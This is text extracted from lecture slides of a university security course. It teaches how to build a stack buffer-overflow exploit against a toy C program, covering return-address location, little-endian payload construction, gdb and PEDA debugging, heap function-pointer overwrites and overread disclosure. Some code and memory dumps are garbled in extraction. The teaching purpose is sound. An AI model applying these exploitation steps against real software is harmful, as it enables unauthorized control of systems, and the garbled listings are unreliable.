CMPSC 447
Exploit Methods
Part One

Trent Jaeger
Systems and Internet Infrastructure Security (SIIS) Lab
Computer Science and Engineering Department
Pennsylvania State University
Building Exploits

• You have some idea about various kinds of exploits that are possible

• Today, we will discuss methods to build exploits for some simple programs

• Techniques you will be expected to adapt for Project 2
Classes of Memory Errors

- Most of the exploits we have examined are related to flaws that cause memory errors
- Good news is that all these memory errors can be classified into three classes
  - Spatial errors (space)
  - Temporal errors (time)
  - Type errors (format)
- This will advise how we produce exploits
  - As well as how we prevent such flaws
Finding Targets

• Another aspect of preparing an exploit is finding out what to target

• What do we want to achieve in an attack?
Finding Targets

• Another aspect of preparing an exploit is **finding out what to target**

• What do we want to achieve in an attack?

• In general
  
  ‣ **Confidentiality** – something we want to learn
  ‣ **Integrity** – something we want to modify
  ‣ **Availability** – something we want to prevent from happening

• These come in a variety of flavors
Hijack Control Flow

• Let’s start by hijacking the control flow of a process by exploiting a spatial error
  ‣ E.g., Buffer Overflow

• What do we really need to accomplish that feat?
  ‣ Flaw
  ‣ Target
  ‣ Construct payload – We haven’t done this yet

• In some cases, we may need to prepare the conditions to perform the exploit – later
Hijack Control Flow

• Let’s start by **hijacking the control flow** of a process by exploiting a spatial error
  ‣ E.g., Buffer Overflow

• What’s the **flaw**?

```c
#include <stdio.h>

int function( char *source )
{
    char buffer[10];

    scanf( source, "%s", buffer );
    printf( "buffer address: %p\n\n", buffer );
    return 0;
}

int main( int argc, char *argv[] )
{
    function( argv[1] );
}
```
Hijack Control Flow

• Let’s start by **hijacking the control flow** of a process by exploiting a spatial error
  ‣ E.g., Buffer Overflow

• How do we know there is an error? We test

```bash
trent@trent-VirtualBox:~/pr2$ ./stack testinput
buffer address: 0x7ffe98ec19fe
```

• Issue is unsafe function — `sscanf` using command input

```bash
trent@trent-VirtualBox:~/pr2$ ./stack bufferbufferbufferbufferbuffer
buffer address: 0x7ffe8be81b6
Segmentation fault (core dumped)
trent@trent-VirtualBox:~/pr2$
```
Hijack Control Flow

• Let’s start by hijacking the control flow of a process by exploiting a spatial error
  ‣ E.g., Buffer Overflow

• What’s the target - for hijacking control flow?

```c
#include <stdio.h>

int function( char *source )
{
    char buffer[10];
    scanf( source, "%s", buffer );
    printf( "buffer address: %p\n\n", buffer );
    return 0;
}

int main( int argc, char *argv[] )
{
    function( argv[1] );
}
```
Hijack Control Flow

- Find where the return address is on the stack relative to the ‘buffer’
  - Where is the return address?
    - Find what the value of the return address should be
    - Run the program to run ”function” in the debugger
    - And then locate the return address on the stack using the debugger
Hijack Control Flow

- What should the **value of the return address** be?
  - What should the return address reference?
    - Function ”main” calls function “function” and returns
Hijack Control Flow

• What should the value of the return address be?
  ‣ What should the return address reference?
    • Function ”main” calls function “function” and returns
• The return address should reference the instruction that is run immediately after ”function” returns
  ‣ Instruction after the associated “call” in the caller
    • “main” in our case
Hijack Control Flow

- Find where the return address is on the stack relative to the ‘buffer’
  - What is address of the instruction after the call to “function”?
    - “objdump –dl”
    - 0x126e
Hijack Control Flow

- Find where the return address is on the stack relative to the ‘buffer’
  - What is the address of “main” is the running code?
    - 0x5655623c (using debugger)
  - That is a long way from the location of the return address
    - What’s going on?
Hijack Control Flow

- Find where the return address is on the stack relative to the ‘buffer’
  - The address of “main” is offset depending on where the code is loaded in memory
  - From that offset we can compute the return address
Hijack Control Flow

- Find where the return address is on the stack relative to the ‘buffer’
  - What is the address of main is the running code?
  - From that we can compute the return address

```
Breakpoint 1, function (source=0xfffff41c "testinput") at stack.c:6
   6     {  
(gdb) p main
$1 = {int (int, char **)} 0x5655623c <main>
(gdb)  
```

- What is the return address?
  - Address of main (0x5655623c) – address of main in objdump (0x123c) + address of return target in objdump (0x126e)
  - Equals?
Hijack Control Flow

- Find the return address on the stack
  - And compute the difference from the “buffer” start
  - Can also display using “x/32x $ esp” – from stack pointer

- Where is 0x5655626e?
  - Account for endianness (little endian)
  - And account for misalignment – 10-byte buffer
    - 10 bytes + 12 bytes = 22 bytes
Hijack Control Flow

• Create the payload to jump to printf and print something under your control
  ‣ Where is printf? Use `printf@plt` from “objdump –dl”

```plaintext
00001080 <printf@plt>:
1080:   f3 0f 1e fb   endbr32
1084:   ff a3 0c 00 00 00  jmp   *0xc(%ebx)
108a:   66 0f 1f 44 00 00  nopw   0x0(%eax,%eax,1)
```

• How to find a string in the binary to print?
  • Command `'strings’` – see the man page
    ‣ `strings –t x stack | less`

```
156 td
1b4 /lib/ld-linux.so.2
2d9 libc.so.6
2e3 __IO_stdin_used
2f2 __isoc99_sscanf
302 printf
309 __cxa_finalize
318 __libc_start_main
```
Hijack Control Flow

• Let’s create a payload to hijack control by overwriting the return address
  ‣ To print a string from the binary

• To create the payload
  ‣ Insert filler to reach the return address
  ‣ Add the new return address (printf@plt) at 0x10a0
    • Note: changed the from the prior figure where printf@plt at 0x1080
  ‣ And the reference to a string at 0x342 “__libc_start_main”
Hijack Control Flow

• Create the payload
  ‣ Actually, code is loaded at an offset

• So, need to account for the offset in the payload
  ‣ Add the new return address (printf@plt) at offset
    \(0x1080 \rightarrow 0x56555000 + 0x10a0 = 0x565550a0\)
    • Little endian \(\text{\textbackslash x}a0\text{\textbackslash x}60\text{\textbackslash x}55\text{\textbackslash x}56\)
  ‣ And the reference to the format string at offset \(0x342\)
    \(0x56555000 + 0x342 = 0x56555342\)
    • Little endian \(\text{\textbackslash x}42\text{\textbackslash x}53\text{\textbackslash x}55\text{\textbackslash x}56\) or “BSUV” in ascii
Hijack Control Flow

• Let’s create a payload to hijack control by overwritten the return address
  ‣ To print a string from the binary

• Use the shell command “printf” to make payloads
  ‣ Ideally: printf ‘<filler_bytes><encoded_address_plt><encoded_address_arg>’ > payload_file
    • 22 filler bytes (10 for buffer and 12 to return address)
    • printf@plt (little endian) - \xa0\x60\x55\x56
    • Reference to format string - \x42\x53\x55\x56
Hijack Control Flow

- Run the exploit in `gdb`

```c
Breakpoint 1, function (source=0xffffffff "inputinputfillerfiller\240`UV@SUV")
at stack.c:6
6     {
9         printf( "buffer address: %p\n\n", buffer );
(gdb) x/32x $esp
0xffffd150: 0x00042421 0x00000534 0x0000009e 0xf7f0a80
0xffffd160: 0x56558fcc 0x56558fcc 0xffffd1a8 0x565562c8
0xffffd170: 0xffffd407 0x00000040 0x00000000 0x56556298
0xffffd180: 0x7fb23fc 0x00000001 0x56558fcc 0x00000003
0xffffd190: 0x00000002 0xffffd254 0xffffd260 0xffffd1c0
0xffffd1a0: 0x00000000 0x7fb2900 0x00000000 0x7fe9e5
0xffffd1b0: 0x7fb2900 0x00000000 0x00000000 0x7fe9e5
0xffffd1c0: 0x00000002 0xffffd254 0xffffd260 0xffffd1e4
(gdb) n
buffer address: 0xffffd156
10        scanf( source, "%s", buffer );
(gdb) x/32x $esp
0xffffd150: 0x00042421 0x0006905c 0x69747570 0x7475706e
0xffffd160: 0x6c6c6f66 0x69676265 0x72656c6c 0x56556a80
0xffffd170: 0x56555340 0x00000000 0x00000000 0x56556298
0xffffd180: 0x7fb23fc 0x00000001 0x56558fcc 0x00000003
0xffffd190: 0x00000002 0xffffd254 0xffffd260 0xffffd1c0
0xffffd1a0: 0x00000000 0x7fb2900 0x00000000 0x7fe9e5
0xffffd1b0: 0x7fb2900 0x00000000 0x00000000 0x7fe9e5
0xffffd1c0: 0x00000002 0xffffd254 0xffffd260 0xffffd1e4
```

- Replaces the return address with `printf@plt`
Hijack Control Flow

- Run the exploit in gdb

```
10       sscanf( source, "%s", buffer );
 (gdb)
11       return 0;
 (gdb) x/32x $esp
0xffffd150:   0x00842421 0x6e690534 0x69747570 0x7475706e
0xffffd160:   0x6c6c6966 0x69667265 0x72656c6c 0x565560a0
0xffffd170:   0x56555340 0x00000000 0x00000000 0x00000000
0xffffd180:   0xf7fb23fc 0x00000001 0x56558fcc 0x00000003
0xffffd190:   0x00000000 0xffffd254 0xffffd260 0xffffd1c0
0xffffd1a0:   0x00000000 0xf7fb2800 0x00000000 0xf7de9ee5
0xffffd1b0:   0xf7fb2800 0xf7fb2800 0x00000000 0xf7de9ee5
0xffffd1c0:   0x00000000 0xffffd254 0xffffd260 0xffffd1e4
(gdb) s
12     }
(gdb) 0x565560a0 in printf@plt ()
(gdb) Single stepping until exit from function printf@plt, which has no line number information.
```

- Calls `printf@plt` as expected
  - But creates a segmentation fault 😞 - need to debug
Hijack Control Flow

- Let’s step more slowly – by instruction (stepi)
  - From the end of “function” at “return 0; }”

- Crash occurs at instruction 0x565560a4 in printf@plt before call to printf
  - Illegal memory address for %ebx

- Why did I look there?
Hijack Control Flow

• Let’s step more slowly – by instruction (stepl)
  ‣ From the end of “function” at “return 0; }”

 References register %ebx – weird value – 0x69667265

• Bytes below 0x80 are often ascii – “ifre” – what is that?
Hijack Control Flow

• Good news is that this scenario is about the worst case
  ‣ Filler overwrote a value we need
    • Solution: rewrite what’s on the stack already
  ‣ Additional problem (not shown): argument not in the right place
    • Solution: move by four bytes until it is in the right place
  ‣ Then, after these fixes it works! Hooray!

• You will attack the heap, which is easier typically
  ‣ As we will see
Hijack Control Flow

- Need to restore the bytes on the stack - 0x56558fcc
  - So, make that the filler

- Can’t arbitrarily overwrite the bytes between sometimes

- Be on the lookout for that
Hijack Control Flow

- Need to move the string address - 0x5655342
  - By four bytes – from old spot

```c
10  sscanf( source, "%s", buffer );
(gdb) x/32x $esp
0xffffd140: 0x00842421 0x00000534 0x0000009e 0x7f89a80
0xffffd150: 0x56558fccc 0x56558fccc 0xfffff198 0x565562c8
0xffffd160: 0xfffff403 0x00000040 0x00000000 0x56555298
0xffffd170: 0x7f823fc 0x00000001 0x56558fccc 0x00000003
0xffffd180: 0x00000002 0xfffff244 0xfffff250 0xfffff1b0
0xffffd190: 0x00000000 0x7f82000 0x00000000 0x7fde9ee5
0xffffd1a0: 0x7f82000 0x00000000 0x00000000 0x7fde9ee5
0xffffd1b0: 0x00000002 0xfffff244 0xfffff250 0xfffff1d4
(gdb) n
11  return 0;
(gdb) x/32x $esp
0xffffd140: 0x00842421 0x6e90534 0x6974570 0x7475706e
0xffffd150: 0x56558fccc 0x56558fccc 0x565556a0 0x565556298
0xffffd160: 0x56556b0 0x5655342 0x00000000 0x56555298
0xffffd170: 0x7f823fc 0x00000001 0x56558fccc 0x00000003
0xffffd180: 0x00000002 0xfffff244 0xfffff250 0xfffff1b0
0xffffd190: 0x00000000 0x7f82000 0x00000000 0x7fde9ee5
0xffffd1a0: 0x7f82000 0x00000000 0x00000000 0x7fde9ee5
0xffffd1b0: 0x00000002 0xfffff244 0xfffff250 0xfffff1d4
(gdb) 
```

- Should not be an issue for the heap
Hijack Control Flow

- Run the exploit in `gdb`

```
$ gdb stack
GNU gdb (Ubuntu 9.2-6ubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
Find the GDB manual and other documentation resources online at:

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from stack...
(gdb) r `cat input6`
Starting program: /home/trent/pr2/stack `cat input6`
buffer address: 0xffffffff
```

- Prints the `string` – Hooray!
  - All done - Turn it in
GDB PEDA

• GDB Python Exploit Development Assistance
  ‣ https://github.com/longld/peda

• More direct user interface for tracking exploit execution and related info
  ‣ I suspect you will prefer this over the “old school” GDB-only usage – at least for fixing exploits
  ‣ Although more directed at stack exploits than the heap

• Let’s look at the failed payload and debugging that
  ‣ This time with GDB PEDA
Debugging w/ GDB PEDa

- Basic User Interface
  - At start
    - Registers
    - Disassembled code
    - Stack
    - GDB info
  - Highlights type of data: code, data, or value
Debugging w/ GDB PEDA

• Basic User Interface
  ‣ At start
  ‣ Shows
    ‣ EAX - input
    ‣ EIP – current inst
    ‣ Stack – return addr
  ‣ Line number
• Let’s go tot “next”
Debugging w/ GDB PEDAS

- After buffer overflow
  - After “sscanf”
    - EBX – same, but see next instruction
    - EIP – current inst
  - Stack – overflow
  - Stack – new return addr
- Let’s “stepi”
Debugging w/ GDB PEDAS

- After buffer overflow
  - After "ret"
- Shows
  - EBX – overwritten by filler bytes
  - EIP – at printf@plt
  - Stack – references string address
- Let’s “stepl”
Debugging w/ GDB PED

- After buffer overflow
  - After run “a4”
  - Shows
    - EBX is still filler bytes
    - Instruction uses ebx for an address
    - Seg Fault
- We can see cause of overwriting the stack value used to load ebx

---

```
Program received signal SIGSEGV, Segmentation fault.
[gdb] [--noTTY]--registers---------------------------
EAX: 0x0
EBX: 0x69667265 ('erfl')
ECX: 0x0
EDX: 0x0
ESI: 0xffffd1c9 --> 0x2
EDI: 0xfffff200 --> 0x1e66d6c
EBP: 0x72556c6c ('iller')
ESP: 0xffffd170 ("GNU")
EIP: 0x56556a0a4 <printf@plt+4>: jmp DWORD PTR [ebx+0xc]
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------code-----------------------------]
  0x56556994 <__cxa_finalize@plt+4>: jmp DWORD PTR [ebx+0x24]
  0x5655699a <__cxa_finalize@plt+10>: nop WORD PTR [eax+eax*1+0x0]
  0x56556a0a <printf@plt>: endbr32
  0x56556a0a <printf@plt+4>: jmp DWORD PTR [ebx+0xc]
  0x56556aa <printf@plt+10>: nop WORD PTR [eax+eax*1+0x0]
  0x56556a0b <exit@plt>: endbr32
  0x56556a0b <exit@plt+4>: jmp DWORD PTR [ebx+0x10]
  0x56556a0c <exit@plt+10>: nop WORD PTR [eax+eax*1+0x0]
[-------------------stack-----------------------------]
0000 0xffffd170 ("GNU")
0004 0xffffd174 --> 0x0
0008 0xffffd178 --> 0x0
0012 0xffffd17c --> 0x56556298 (<main+28>: add ebx,0x2d34)
0016 0xffffd180 --> 0xf7fbb300 --> 0xf7fbb390 --> 0x0
0020 0xffffd184 --> 0x1
0024 0xffffd188 --> 0x56558fc0 --> 0x3ed4
0028 0xffffd18c --> 0x3
[-------------------] Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x56556a0a in printf@plt ()
```
Attack Summary

- Attack Steps
  - Find the unsafe function (flaw) and *data impacted by the function*
  - Relate data impacted and target
    - Data is *on the stack*
    - Return address can be the target
  - Craft payload to modify target
    - Avoid tampering unnecessary data – may cause side effect

- Attack works in debugger
  - May not always work from the command line (ASLR)
Heap Attacks

• Heap attacks are somewhat easier for us
  ‣ Unsafe function (flaw) used on heap data object
    • Unsafe functions?
  ‣ Target may be in the same object
    • Project 1 heap object?
    • What could be a target?
  ‣ Payload is simpler
    • Less stuff in the object to mess up than the stack often
• Let’s see a simplified example
Heap Attacks

- Program using heap objects of type “test”

```c
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct test {
  char buffer[10];
  int (*fnptr)(char *, int);
};

int function(char *source) {
  int res = 0, flags = 0;
  struct test *a = (struct test*)malloc(sizeof(struct test));
  printf("buffer address: \%p\n\n", a->buffer);
  a->fnptr = open;
  strcpy(a->buffer, source);
  res = a->fnptr(a->buffer, flags);
  printf("fd\: \%d\n\n", res);
  return 0;
}

int main(int argc, char *argv[]) {
  int fd = open("stack.c", O_CREAT);
  function(argv[1]);
  exit(0);
}
Heap Attacks

• Can you see the unsafe function in this case?

```c
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct test {
    char buffer[10];
    int (*fnptr)( char *, int );
};

int function( char *source )
{
    int res = 0, flags = 0;
    struct test *a = (struct test*)malloc(sizeof(struct test));
    printf( "buffer address: %p\n\n", a->buffer );
    a->fnptr = open;
    strcpy( a->buffer, source );
    res = a->fnptr(a->buffer, flags);
    printf( "fd %d\n\n", res );
    return 0;
}

int main( int argc, char *argv[] )
{
    int fd = open("stack.c", 0_CREAT);

    function( argv[1] );

    exit(0);
}
```
Heap Attacks

- Can you see the unsafe function in this case?

```c
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct test {
    char buffer[10];
    int (*fnptr)( char *, int );
};

int function( char *source )
{
    int res = 0, flags = 0;
    struct test *a = malloc(sizeof(struct test));
    printf( "buffer address: %p\n", a->buffer );
    a->fnptr = open;
    strcpy( a->buffer, source );
    res = a->fnptr(a->buffer, flags);
    printf( "fd %d\n", res );
    return 0;
}

int main( int argc, char *argv[] )
{
    int fd = open("stack.c", O_CREAT);
    function( argv[1] );
    exit(0);
}
Heap Attacks

• What is the target?

```c
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct test {
    char buffer[10];
    int (*fnptr)( char *, int );
};

int function( char *source )
{
    int res = 0, flags = 0;
    struct test *a = (struct test*)malloc(sizeof(struct test));
    printf("buffer address: %p\n\n", a->buffer);
    a->fnptr = open;
    strcpy(a->buffer, source);
    res = a->fnptr(a->buffer, flags);
    printf("fd% d\n\n", res);
    return 0;
}

int main( int argc, char *argv[] )
{
    int fd = open("stack.c", O_CREAT);
    function( argv[1] );
    exit(0);
}
Heap Attacks

- Function pointer – why?

```c
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct test {
    char buffer[10];
    int (*fnptr)(char *, int);
};

int function(char *source) {
    int res = 0, flags = 0;
    struct test *a = (struct test*)malloc(sizeof(struct test));
    printf("buffer address: %p\n", a->buffer);
    a->fnptr = open;
    strcpy(a->buffer, source);
    res = a->fnptr(a->buffer, flags);
    printf("fd\n", res);
    return 0;
}

int main(int argc, char *argv[]) {
    int fd = open("stack.c", O_CREAT);
    function(argc[1]);
    exit(0);
}
```
Heap Attacks

- How to craft the payload?

```c
struct test {
    char buffer[10];
    int (*fnptr)( char *, int );
};
```

- Filler for buffer and then overwrite the function pointer field
  - Similarly to that for the stack

- Exercise for the student
Buffer Overread/Disclosure

- Disclosure attacks use flaws to read memory outside the accessed memory region

- Two typical flaws
  - Adversary controls the **length** used to read
  - Adversary controls the **input** being read

- How are these exploited?
Buffer Overread/Disclosure

- Adversary controls the length used to read
  - `strncpy(char *dest, char *source, size_t length)`
- Suppose data copied into “dest” will be sent back to the adversary
  - How can an adversary with access to specify the value of “length” …
  - Read unauthorized data outside of the memory region of ”source”?
Buffer Overread/Disclosure

- Adversary controls the **length** used to read
  - `strncpy( char *dest, char *source, size_t length)`
- Suppose data copied into “dest” will be sent back to the adversary
  - How can an **adversary** with access to specify the value of “length” …
  - Read unauthorized data outside of the memory region of ”source”?
- **Ans**: Specify length beyond the end of memory region of source – e.g., **Heartbleed**
Buffer Overread/Disclosure

- Adversary controls the **input** (source) being read
  - `strncpy( char *dest, char *source, size_t length)`

- Suppose data copied into “dest” will be sent back to the adversary
  - How can an **adversary** with access to specify the value of “source” …
  - Read unauthorized data outside of the memory region of ”source”?
Buffer Overread/Disclosure

- Adversary controls the **input** (source) being read
  - `strncpy(char *dest, char *source, size_t length)`

- Suppose data copied into “dest” will be sent back to the adversary
  - How can an adversary with access to specify the value of “source” …
  - Read unauthorized data outside of the memory region of ”source”?

- **Ans:** Perhaps the adversary can create a source value that is not a legal string (e.g., no null-terminator)
Buffer Overread/Disclosure

- Adversary controls the input (source) being read
  - `strncpy(char *dest, char *source, size_t length)`
- Suppose data copied into “dest” will be sent back to the adversary
  - How can an adversary with access to specify the value of “source” …
  - Read unauthorized data outside of the memory region of ”source”?
- What string library calls may fill the source buffer with data without a null-terminator? Most of them
Take Away

• Today, we examined the basics of building an exploit
  ‣ Experience helps you gain confidence
  ‣ Start Project 2
  ‣ Bring us questions (or post on Piazza)

• Demonstrated the steps to construct a stack buffer overflow exploit
  ‣ And describe heap overflows
  ‣ And disclosure attacks